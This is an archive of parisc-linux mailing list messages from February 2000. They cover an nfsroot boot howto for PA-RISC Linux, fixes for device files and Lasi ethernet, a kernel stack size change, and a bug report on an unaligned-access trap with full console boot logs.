> puffin.external.hp.com/pub/parisc/binaries/nfsroot/nfsroot-20000214.tar.gz
>
> A supported PA-RISC box with serial console
>
> A Linux (any Unix will do) server with NFS server, bootpd and tftpd
>
>
> Note on consoles:
>
> Yes, you *will* need serial console on the PA-RISC box.  IODC console
> was a quick hack to get output during development, but it will never
> be usable as an interactive console.  When HP releases docs for STI we
> will implement a proper framebuffer console.  Until then, serial is
> the only option.  Sorry.
>
> Futhermore this will only work on boxes with LASI.  I'm still working
> on support for the NS87560UBD Super I/O chip on [BCJ]x000 boxes.
>
>
> STEP 1. KERNEL BUILDING
>
> Get the latest linux-2.3 tree from CVS.
>
>
> a) If you use the standard boot loader
>
> Edit DEFAULT_COMMANDLINE in linux-2.3/arch/parisc/boot/boot_code/ipl_c.c
> to read:
>
> "vmlinux HOME=/ TERM=LINUX root=/dev/nfs nfsroot=10.0.0.1"
>
>
> b) If you use PALO
>
> Edit the echo line in palo/mklifimage to read
>
> "vmlinux HOME=/ TERM=LINUX root=/dev/nfs nfsroot=10.0.0.1"
>
>
> In both cases replace 10.0.0.1 with the IP address of your NFS server.
>
>
> Copy the .config included below to the root of the linux source tree.
>
> make oldconfig
> make dep
> make clean
> make Image (Or make palo, if you use Paul's loader)
>
> Due to linker issues cross compiling is still not possible.  I.e. you
> have to build on HP/UX.
>
>
> STEP 2. BOOTP, TFTP AND NFS
>
> Copy linux-2.3/arch/parisc/boot/Image (or palo/lifimage) to
> /tftpboot/vmlinux on the server.  Make sure the file is world
> readable.
>
> Edit /etc/bootptab on the server.  I have an entry like this:
>
> mybox:\
>         :hd=/tftpboot:\
>         :bf=vmlinux:\
>         :ht=ether:\
>         :ha=0060b007e4ab:\
>         :sm=255.255.255.0:\
>         :hn:\
>         :ip=10.0.0.6:\
>         :vm=rfc1048:
>
> Replace ``mybox'' with the hostname of your PA-RISC box.
>
> You need to insert the MAC address of the PA-RISC box in the ha=
> field.  You can find the MAC by typing "in la" at the PDC prompt.
>
> You should also change the IP to something appropriate for your LAN.
>
> Add an entry for the host in /etc/hosts.
>
> Unpack the nfsroot tarball in /tftpboot and rename the unpacked
> directory (mybox) to the hostname of your box.
>
> Make sure both bootps and tftp are enabled in /etc/inetd.conf.
>
> Edit your /etc/exports to contain a line like this:
>
> /tftpboot/mybox mybox(rw,no_root_squash)
>
> Again, replace mybox with your hostname.
>
> Restart inetd and nfs services if you made any modifications.
>
>
> STEP 3. GO
>
> Type "bo lan" at the PDC prompt on the PA-box and kapow.  You've got a
> prompt (I hope).
>
> Here's what I get...
>
> ---8<---
>
> Stand-alone shell (version 3.4)
> 500 5 1970 53b
> > -mount -t proc proc /proc
> quux
> quuux
> > -more /proc/cpuinfo
> quux
> quuux
> << cpuinfo >>
> processor       : 0
> cpu family      : PA-RISC <NULL>
> cpu             : PA8000
> cpu MHz         : 160.000000
> cpu category    : category A
> cpu level       : level 0
> cpu shadow regs : no
> model           :
> model name      : Raven U 160 (9000/780/C160)
> sw_id           : 0
> hversion        : 0x00000000
> sversion        : 0x00000000
> I-cache         : 0 KB
> D-cache         : 0 KB (WB)
> ITLB entries    : 0
> DTLB entries    : 0
> BTLB            : not supported
> ---8<---
>
>


----------------------------------------------------------------------------
----


>
> --
> Martin Kasper Petersen BOFH, IC1&2, Aalborg University, DK
> mailto:mkp@SunSITE.auc.dk http://SunSITE.auc.dk/~mkp/
>


From - Thu Nov 08 21:11:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <mkp@mkp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] nfsroot howto
Date: 24 Feb 2000 11:16:25 +0100
Organization: mkp.net
Lines: 14
Approved: news@gmane.org
Message-ID: <yq14sayewhy.fsf@leyland.socsci.auc.dk>
References: <yq1itzr9zwt.fsf@leyland.socsci.auc.dk> <00c401bf7ea9$a7216660$0a14d793@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618784 30588 80.91.229.3 (22 Nov 2014 01:13:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:04 +0000 (UTC)
Cc: <parisc-linux@puffin.external.hp.com>
To: "Thierry SIMONNET" <t.simonnet@esiee.fr>
Original-X-From: mkp@socsci.auc.dk  Thu Feb 24 04:15:52 2000
Original-Received: from bentley.socsci.auc.dk (bentley.socsci.auc.dk [130.225.60.48])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id EAA21390
	for <parisc-linux@puffin.external.hp.com>; Thu, 24 Feb 2000 04:15:52 -0700
Original-Received: from leyland.socsci.auc.dk ([130.225.60.69])
	by bentley.socsci.auc.dk with esmtp (Exim 3.11 #3)
	id 12NvIG-0000I1-00; Thu, 24 Feb 2000 11:14:48 +0100
Original-Received: (from mkp@localhost)
	by leyland.socsci.auc.dk (8.9.3+Sun/8.9.1) id LAA23038;
	Thu, 24 Feb 2000 11:16:25 +0100 (MET)
Original-Sender: mkp@socsci.auc.dk
In-Reply-To: "Thierry SIMONNET"'s message of "Thu, 24 Feb 2000 10:29:30 +0100"
Original-Lines: 13
User-Agent: Gnus/5.070098 (Pterodactyl Gnus v0.98) XEmacs/21.1 (Bryce Canyon)
Xref: news.gmane.org gmane.linux.ports.parisc:6872

>>>>> "Thierry" == Thierry SIMONNET <t.simonnet@esiee.fr> writes:

Thierry> I have a 712/60 Workstation as NFS server and a 712/80 as
Thierry> parisc-linux box.  I have some trouble with nfsroot :bootp
Thierry> and tftp process works but IP-Config says : IP-Config : No
Thierry> Network device available.

You have to enable Lasi ethernet (CONFIG_APRICOT) on machines with 10
Mbps ethernet onboard (7xx, old B- and C-class).

-- 
Martin Kasper Petersen			BOFH, IC1&2, Aalborg University, DK
mailto:mkp@SunSITE.auc.dk		http://SunSITE.auc.dk/~mkp/


From - Thu Nov 08 21:11:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel Stack size increase
Date: Thu, 24 Feb 2000 08:36:00 -0700 (MST)
Lines: 16
Approved: news@gmane.org
Message-ID: <200002241536.IAA28435@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618784 30591 80.91.229.3 (22 Nov 2014 01:13:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:04 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jsm@udlkern.fc.hp.com  Thu Feb 24 09:35:15 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA24298
	for <parisc-linux@puffin.external.hp.com>; Thu, 24 Feb 2000 09:35:14 -0700
Original-Received: (qmail 16403 invoked by uid 15267); 24 Feb 2000 15:36:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16378 invoked from network); 24 Feb 2000 15:36:04 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 24 Feb 2000 15:36:04 -0000
Original-Received: from udlkern.fc.hp.com (jsm@udlkern.fc.hp.com [15.1.52.48])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id IAA07863
	for <parisc-linux@thepuffingroup.com>; Thu, 24 Feb 2000 08:36:00 -0700 (MST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.1) id IAA28435 for parisc-linux@thepuffingroup.com; Thu, 24 Feb 2000 08:36:00 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:6873


I just committed code to change the task structure/kernel stack size from
8K to 16K. Willy asked me to do this after I had mentioned to him that
I had observed that we had already crossed the 6K boundary. 

We may never actually cross the 8K boundary, but I (and willy agrees)
believe that it is not worth risking at this point (a kernel stack overflow
will cause a variety of hard to track problems, since Linux currently does
not have a redzone for kernel stacks).  Later on in the port we can make
more precise measurements to determine what a safe value for the kernel 
stack size should be. There are also other possible designs that could be 
considered.

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:11:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] nfsroot howto
Date: Thu, 24 Feb 2000 18:49:27 -0800 (PST)
Lines: 59
Approved: news@gmane.org
Message-ID: <200002250249.SAA04345@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=X-roman8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618785 30594 80.91.229.3 (22 Nov 2014 01:13:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:05 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Thu Feb 24 20:47:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA28104
	for <parisc-linux@puffin.external.hp.com>; Thu, 24 Feb 2000 20:47:22 -0700
Original-Received: (qmail 14261 invoked by uid 15267); 25 Feb 2000 02:48:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14246 invoked from network); 25 Feb 2000 02:48:12 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 25 Feb 2000 02:48:12 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id 62374103
	for <parisc-linux@thepuffingroup.com>; Thu, 24 Feb 2000 18:48:08 -0800 (PST)
Original-Received: (from grundler@localhost) by milano.cup.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id SAA04345 for parisc-linux@thepuffingroup.com; Thu, 24 Feb 2000 18:49:27 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:6874


Thierry SIMONNET (t.simonnet@esiee.fr) wrote:
| I have a 712/60 Workstation as NFS server and a 712/80 as parisc-linux box. 
| I have some trouble with nfsroot :bootp and tftp process works but 
| IP-Config says : IP-Config : No Network device available. 

Thierry,
I think the problem is you are using HP-UX. :^)
No, really.

I'm pretty sure HP-UX "mknod" creates the special devices *differently*
than parisc-linux wants to interpret them.
HP-UX dev_t is 8 bits Major and 24 bits Minor.
Linux dev_t is 8 bits Major and  8 bits Minor. (according to willy)

Give HP-UX mknod "cooked" parameters in order to create the
special device file linux can use. I might not have cooked
them correctly below....I haven't tried it out yet.

Please try:
o cd /tftpboot/<host>/dev
o rm -f *
o sh mknod.hpux  # appended below

and then try again.

grant


mknod console c 0 0x0501
mknod tty0 c 0 0x0400
mknod tty1 c 0 0x0401
mknod tty2 c 0 0x0402
mknod tty3 c 0 0x0403
mknod tty4 c 0 0x0404
mknod tty5 c 0 0x0405
mknod tty6 c 0 0x0406
mknod tty7 c 0 0x0407
mknod tty8 c 0 0x0408
mknod vcs0 c 0 0x0700
mknod vcs1 c 0 0x0701
mknod vcs2 c 0 0x0702
mknod vcs3 c 0 0x0703
mknod vcs4 c 0 0x0704
mknod vcs5 c 0 0x0705
mknod vcs6 c 0 0x0706
mknod vcs7 c 0 0x0707
mknod vcs8 c 0 0x0708
mknod vcsa c 0 0x0780
mknod vcsa1 c 0 0x0781
mknod vcsa2 c 0 0x0782
mknod vcsa3 c 0 0x0783
mknod vcsa4 c 0 0x0784
mknod vcsa5 c 0 0x0785
mknod vcsa6 c 0 0x0786
mknod vcsa7 c 0 0x0787
mknod vcsa8 c 0 0x0788
 


From - Thu Nov 08 21:11:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] code 28 trap
Date: Thu, 24 Feb 2000 18:59:49 -0800 (PST)
Lines: 519
Approved: news@gmane.org
Message-ID: <200002250259.SAA04374@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=X-roman8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618785 30599 80.91.229.3 (22 Nov 2014 01:13:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:05 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Thu Feb 24 20:57:41 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA28357
	for <parisc-linux@puffin.external.hp.com>; Thu, 24 Feb 2000 20:57:39 -0700
Original-Received: (qmail 18977 invoked by uid 15267); 25 Feb 2000 02:58:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18958 invoked from network); 25 Feb 2000 02:58:30 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 25 Feb 2000 02:58:30 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel2.hp.com (Postfix) with ESMTP id B526C13
	for <parisc-linux@thepuffingroup.com>; Thu, 24 Feb 2000 21:58:45 -0500 (EST)
Original-Received: (from grundler@localhost) by milano.cup.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id SAA04374 for parisc-linux@thepuffingroup.com; Thu, 24 Feb 2000 18:59:49 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:6875


Hi folks,
I'm getting a "Code 28" interrupt on my c3000.
I've appended the full console output. 

IOAQ points to ip_rcv+156.
GR02 points to net_bh+620

0xc01ca024 <ip_rcv+156>:        ldw 0(sr0,r4),r25

and GR4 == c7e8702e.
GR4 is aligned on 2byte, not 4 byte which the ldw wants.

I've reproduced the problem in another chunk of code:
0xc01fa82c <ic_bootp_recv+76>:  ldw 0(sr0,r4),r25

In this case: gr4 == c7f7e82e and gr2 == c01ce708 (net_bh+576)


If this code runs on alpha/sparc/mips, I'd think the alignment issues
would have been fixed pretty quickly. I don't think the problem is in
ip_rcv, ic_bootp_recv, or net_bh. I'm also nervous that both cases
died while using gr4.

I did "make clean && make Image" and got the same result.

Could this be a "CONSOLE_XXX" problem?
Other ideas?

thanks,
grant



Firmware Version 3.4

Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------------
   (c) Copyright 1995-1999, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           Coprocessor State  I/D Cache 
  ---------  --------   ---------------------  -----------------  -------------
      0      400 MHz    Active                 Functional         512 kB/1 MB

  Central Bus Speed:                   120 MHz

  Available memory:              536870912 bytes
  Good memory required:           44978176 bytes

  Primary boot path:    FWSCSI.6.0
  Alternate boot path:  LAN.15.8.80.76.3.254
  Console path:         GRAPHICS(2)
  Keyboard path:        USB

CPU 0
WARNING:  Processor self-tests have been disabled because FASTBOOT is
          enabled.  To enable self-tests, disable FASTBOOT with the FASTBOOT
          command in the CONFIGURATION menu and reboot the system.
WARNING:  Memory has been initialized but not tested because FASTBOOT is
          enabled.  To test memory, disable FASTBOOT with the FASTBOOT
          command in the CONFIGURATION menu and reboot the system.


----- Main Menu -------------------------------------------------------------

      Command                           Description
      -------                           -----------
      BOot [PRI|ALT|<path>]             Boot from specified path
      PAth [PRI|ALT|CON|KEY [<path>]]   Display or modify a path
      SEArch [DIsplay|[[IPL] [<path>]]] Search for boot devices

      COnfiguration [<command>]         Access Configuration menu/commands
      INformation [<command>]           Access Information menu/commands
      SERvice [<command>]               Access Service menu/commands

      DIsplay                           Redisplay the current menu
      HElp [<menu>|<command>]           Display help for menu or command
      RESET                             Restart the system
-----
Main Menu: Enter command > bo alt
Interact with IPL (Y, N, Q)?> n

Booting... 
Network Station Address 001083-360089

System IP Address 15.8.80.75
Server IP Address 15.8.80.76

Boot IO Dependent Code (IODC) revision 2


HARD Booted.

------------------------------------------------------------------------------

PARISC/Linux Bootstrap Version 0.6 (non-interactive)
By Helge Deller & Jason Eckhardt
Built Wed Feb 23 16:49:02 PST 2000 by grundler@rock

Official memory starts at 0000E000
Reading parameters...done.

Loading PA-RISC/Linux Kernel...
SOM-Kernel:
aux_header_location: 00000080
som       : 01000080
exec_dfile: 00172000
exec_dsize: 000FB000
exec_dmem : C0215000
exec_tfile: 0005D000
exec_tsize: 00114008
exec_tmem : C0100000
exec_bsize: 3FCF0030
exec_entry: C0100000
Code at 0x00100000, size=0x00114008
Data at 0x00215000, size=0x000FB000
BSS  at 0x00310000.
exec_entry: C0100000

Transferring control to kernel. (At entry point 0x00100000)
The Kernel has started...
Free memory starts at: 0xc0372000
PALO command line: 'vmlinux HOME=/ TERM=LINUX root=/dev/nfs nfsroot=15.8.80.76'
FP CCR was 0x0, will be set to 0xc0
model   00005bb0 00000481 00000000 00000002 77cd9463 100000f0 00000008 000000b2 000000b2
vers    00000200
cpuid   00000224
CPUID vers 17 rev 4
Model: AllegroHigh W  with 512 MB RAM (Using 128 MB).
CPU(s): 1 x PA8500 at 400.000000 MHz
Searching for devices in PDC firmware... a newer box...
Found devices:
1. Astro BC Runway Port (12) at 0xfed00000, versions 0x582, 0x0, 0xb, 0x0, 0x10
2. Elroy PCI Bridge (13) at 0xfed30000, versions 0x782, 0x0, 0xa, 0x0, 0x0
3. Elroy PCI Bridge (13) at 0xfed32000, versions 0x782, 0x0, 0xa, 0x0, 0x0
4. Elroy PCI Bridge (13) at 0xfed38000, versions 0x782, 0x0, 0xa, 0x0, 0x0
5. Elroy PCI Bridge (13) at 0xfed3c000, versions 0x782, 0x0, 0xa, 0x0, 0x0
6. AllegroHigh W  (0) at 0xfffa0000, versions 0x5bb, 0x0, 0x4, 0x0, 0x81
7. AllegroHigh Memory (1) at 0xfed10200, versions 0x86, 0x0, 0x9, 0x0, 0x0
That's a total of 7 devices.
Linux version 2.3.42 (grundler@rock) (gcc version 2.95.2 19991024 (release)) #156 Thu Feb 24 17:08:33 PST 2000
init_bootmem 882 32768
init_bootmem complete
free_bootmem 00373000 07c8d000
d_conf b1802000
pagetable_init
set_pte c1100000 002fb309
miscoloured (c0144570)
set_pte c1100004 002f4309
miscoloured (c0144588)
On node 0 totalpages: 00008000
zone(0): 16384 pages.
zone(1): 16384 pages.
zone(2): 0 pages.
trap_init
Calibrating delay loop... 758.58 BogoMIPS
Memory: 124208k available
kmem_test() - start
kmem_free: Bad front redzone (objp=c7ffe004, name=test-cachep)
kmem_free: Bad rear redzone (objp=c7ffe004, name=test-cachep)
kmem_test() - finished
c7ff0000 c7ff8000 c7fee000 c7ffc000
Buffer-cache hash table entries: 8192 (order: 3, 32768 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
POSIX conformance testing by UNIFIX
lba version TR2.1 (0x2) found at 0xfed30000
lba_fixup_bus(0xc7fb9540) bus 0 sysdata 0xc7feb0a0
request_irq(258, c0133518, 0x0, iosapic, c7fb8180)
request_irq(259, c0133518, 0x0, iosapic, c7fb81a0)
request_irq(260, c0133518, 0x0, iosapic, c7fb8140)
request_irq(261, c0133518, 0x0, iosapic, c7fb8140)
request_irq(262, c0133518, 0x0, iosapic, c7fb8140)
request_irq(263, c0133518, 0x0, iosapic, c7fb8160)
request_irq(264, c0133518, 0x0, iosapic, c7fb8160)
lba version TR2.1 (0x2) found at 0xfed32000
lba_fixup_bus(0xc7fb95e0) bus 1 sysdata 0xc7feb160
request_irq(265, c0133518, 0x0, iosapic, c7fb83c0)
request_irq(266, c0133518, 0x0, iosapic, c7fb83a0)
request_irq(267, c0133518, 0x0, iosapic, c7fb8380)
lba version TR2.1 (0x2) found at 0xfed38000
lba_fixup_bus(0xc7fb9680) bus 2 sysdata 0xc7feb220
request_irq(268, c0133518, 0x0, iosapic, c7fb85e0)
lba_fixup_bus(0xc7fb9720) bus 3 sysdata 0xc7feb220
request_irq(269, c0133518, 0x0, iosapic, c7fb85c0)
request_irq(270, c0133518, 0x0, iosapic, c7fb85c0)
request_irq(271, c0133518, 0x0, iosapic, c7fb85c0)
request_irq(272, c0133518, 0x0, iosapic, c7fb85c0)
lba version TR2.1 (0x2) found at 0xfed3c000
lba: iosapic_register says not used
Warning : device (13, 0x782, 0x0, 0xa, 0x0) NOT claimed by lba TR2.1
IOA at 0xfed00000
IOS_DIST_BASE   : 000000ff fee00001
IOS_DIST_MASK   : 000000ff ffff0000
IOS_DIST_ROUTE  : 34000000 00000000

IOS_DIRECT_BASE : 000000ff fee00a00
IOS_DIRECT_MASK : 000000ff ffff0000
IOS_DIRECT_ROUTE: 00000000 00000000
lba: lba_bios_init
Linux NET4.0 for Linux 2.3
Based upon Swansea University Computer Society NET3.039
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 1024 buckets, 8Kbytes
TCP: Hash tables configured (established 8192 bind 16384)
Serial driver version 4.92 (2000-1-27) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
pty: 256 Unix98 ptys configured
eepro100.c:v1.09j 7/27/99 Donald Becker http://cesdis.gsfc.nasa.gov/linux/drivers/eepro100.html
eth0: OEM i82557/i82558 10/100 Ethernet at 0x12100, 08:00:09:DB:18:48, IRQ 769.
  Board assembly 657177-001, Physical connectors present: RJ45
  Primary interface chip DP83840 PHY #1.
  DP83840 specific setup, setting register 23 to 8462.
  General self-test: passed.
  Serial sub-system self-test: passed.
  Internal registers self-test: passed.
  ROM checksum self-test: passed (0xd6a8ca49).
  Receiver lock-up workaround activated.
eepro100.c:v1.09j 7/27/99 Donald Becker http://cesdis.gsfc.nasa.gov/linux/drivers/eepro100.html
Found Digital DS21143 Tulip at PCI I/O address 0x1000.
tulip.c:v0.91g-hppa 7/16/99 becker@cesdis.gsfc.nasa.gov
eth1: Digital DS21143 Tulip rev 48 at 0x1000, 00:10:83:36:00:89, IRQ 514.
eth1:  MII transceiver #1 config 1000 status 782d advertising 01e1.
Found Digital DS21140 Tulip at PCI I/O address 0x38300.
eth2: Digital DS21140 Tulip rev 34 at 0x38300, 00:00:D1:1A:31:BF, IRQ 1024.
eth2:  EEPROM default media type Autosense.
eth2:  MII interface PHY 0, setup/reset sequences 1/1 long, capabilities 78 00.
eth2:  Index #0 - Media MII (#11) described by a 21140 MII PHY (1) block.
eth2:  Advertising 01e1 on PHY 0 (0).
eth2: Using media type MII, CSR12 is 00.
eth2:  MII transceiver #1 config 3100 status 7849 advertising 0101.
eth2:  Advertising 01e1 on PHY 1, previously advertising 0101.
eth2:  Advertising 01e1 (to advertise is 01e1).
Found Digital DS21140 Tulip at PCI I/O address 0x38200.
eth3: Digital DS21140 Tulip rev 34 at 0x38200, 00:00:D1:1A:32:22, IRQ 1024.
eth3:  EEPROM default media type Autosense.
eth3:  MII interface PHY 0, setup/reset sequences 1/1 long, capabilities 78 00.
eth3:  Index #0 - Media MII (#11) described by a 21140 MII PHY (1) block.
eth3:  Advertising 01e1 on PHY 0 (0).
eth3: Using media type MII, CSR12 is 00.
eth3:  MII transceiver #1 config 3100 status 7849 advertising 0101.
eth3:  Advertising 01e1 on PHY 1, previously advertising 0101.
eth3:  Advertising 01e1 (to advertise is 01e1).
Found Digital DS21140 Tulip at PCI I/O address 0x38100.
eth4: Digital DS21140 Tulip rev 34 at 0x38100, 00:00:D1:1A:31:B9, IRQ 1024.
eth4:  EEPROM default media type Autosense.
eth4:  MII interface PHY 0, setup/reset sequences 1/1 long, capabilities 78 00.
eth4:  Index #0 - Media MII (#11) described by a 21140 MII PHY (1) block.
eth4:  Advertising 01e1 on PHY 0 (0).
eth4: Using media type MII, CSR12 is 00.
eth4:  MII transceiver #1 config 3100 status 7849 advertising 0101.
eth4:  Advertising 01e1 on PHY 1, previously advertising 0101.
eth4:  Advertising 01e1 (to advertise is 01e1).
Found Digital DS21140 Tulip at PCI I/O address 0x38000.
eth5: Digital DS21140 Tulip rev 34 at 0x38000, 00:00:D1:1A:31:C4, IRQ 1024.
eth5:  EEPROM default media type Autosense.
eth5:  MII interface PHY 0, setup/reset sequences 1/1 long, capabilities 78 00.
eth5:  Index #0 - Media MII (#11) described by a 21140 MII PHY (1) block.
eth5:  Advertising 01e1 on PHY 0 (0).
eth5: Using media type MII, CSR12 is 00.
eth5:  MII transceiver #1 config 3100 status 7849 advertising 0101.
eth5:  Advertising 01e1 on PHY 1, previously advertising 0101.
eth5:  Advertising 01e1 (to advertise is 01e1).
request_irq(769, c01bc8f0, 0x4000000, eth0, c7fb2800)
request_irq(514, c01c2398, 0x4000000, eth1, c7fed800)
eth1: tulip_open() irq 514.
eth1: No media description table, assuming MII transceiver, CSR12 c6.
eth1: Using MII transceiver 1, status 782d.
eth1: interrupt  csr5=0xf0610004 new csr5=0xf0600000.
eth1: interrupt  csr5=0xf0600000 new csr5=0xf0600000.
eth1: exiting interrupt, csr5=0xf0600000.
eth1: Done tulip_open(), CSR0 ffa08000, CSR5 f0660000 CSR6 b20e2002.
eth1: interrupt  csr5=0xf0670004 new csr5=0xf0660000.
eth1: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth1: exiting interrupt, csr5=0xf0660000.
eth1: interrupt  csr5=0xf0670004 new csr5=0xf0660000.
eth1: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth1: exiting interrupt, csr5=0xf0660000.
request_irq(1024, c01c2398, 0x4000000, eth2, c7fed600)
eth2: tulip_open() irq 1024.
eth1: interrupt  csr5=0xf0670040 new csr5=0xf0660000.
 In tulip_rx(), entry 0 00077600.
eth1: In tulip_rx(), entry 0 00760700.
eth1: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth1: exiting interrupt, csr5=0xf0660000.
eth2:  Advertising 01e1 on PHY 0 (1).
eth2: Using media type MII, CSR12 is 00.
eth2: Done tulip_open(), CSR0 ffa08000, CSR5 fc670004 CSR6 320e2002.
request_irq(1024, c01c2398, 0x4000000, eth3, c7fed400)
eth3: tulip_open() irq 1024.
eth3:  Advertising 01e1 on PHY 0 (1).
eth3: Using media type MII, CSR12 is 00.
eth1: interrupt  csr5=0xf0670040 new csr5=0xf0660000.
 In tulip_rx(), entry 1 20074000.
eth1: In tulip_rx(), entry 1 00400720.
eth1: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth1: exiting interrupt, csr5=0xf0660000.
eth3: Done tulip_open(), CSR0 ffa08000, CSR5 fc670004 CSR6 320e2002.
request_irq(1024, c01c2398, 0x4000000, eth4, c7fed200)
eth4: tulip_open() irq 1024.
eth4:  Advertising 01e1 on PHY 0 (1).
eth4: Using media type MII, CSR12 is 00.
eth4: Done tulip_open(), CSR0 ffa08000, CSR5 fc670004 CSR6 320e2002.
request_irq(1024, c01c2398, 0x4000000, eth5, c7fed000)
eth1: interrupt  csr5=0xf0670040 new csr5=0xf0660000.
 In tulip_rx(), entry 2 20077200.
eth1: In tulip_rx(), entry 2 00720720.
eth1: In tulip_rx(), entry 3 00760700.
eth1: interrupt  csr5=0xf0670040 new csr5=0xf0660000.
 In tulip_rx(), entry 4 00000080.
eth1: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth1: exiting interrupt, csr5=0xf0660000.
eth1: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth1: exiting interrupt, csr5=0xf0660000.
eth5: tulip_open() irq 1024.
eth5:  Advertising 01e1 on PHY 0 (1).
eth5: Using media type MII, CSR12 is 00.
eth5: Done tulip_open(), CSR0 ffa08000, CSR5 fc670004 CSR6 320e2002.
Sending BOOTP requests...<7>eth1: interrupt  csr5=0xf0670040 new csr5=0xf0660000.
 In tulip_rx(), entry 4 20079a01.
eth1: In tulip_rx(), entry 4 019a0720.
eth1: In tulip_rx(), entry 5 00400720.
eth1: In tulip_rx(), entry 6 00400720.
eth1: In tulip_rx(), entry 7 00400720.
eth1: In tulip_rx(), entry 8 00760700.
eth1: interrupt  csr5=0xf0670040 new csr5=0xf0660000.
 In tulip_rx(), entry 9 00000080.
eth1: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth1: exiting interrupt, csr5=0xf0660000.
eth1: interrupt  csr5=0xf0670040 new csr5=0xf0660000.
 In tulip_rx(), entry 9 20074000.
eth1: In tulip_rx(), entry 9 00400720.
eth1: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth1: exiting interrupt, csr5=0xf0660000.
eth1: interrupt  csr5=0xf0670004 new csr5=0xf0660000.
eth1: interrupt  csr5=0xf0670040 new csr5=0xf0660000.
 In tulip_rx(), entry 10 20035a01.
eth1: In tulip_rx(), entry 10 015a0320.
eth1: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth1: exiting interrupt, csr5=0xf0660000.
eth1: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth1: exiting interrupt, csr5=0xf0660000.
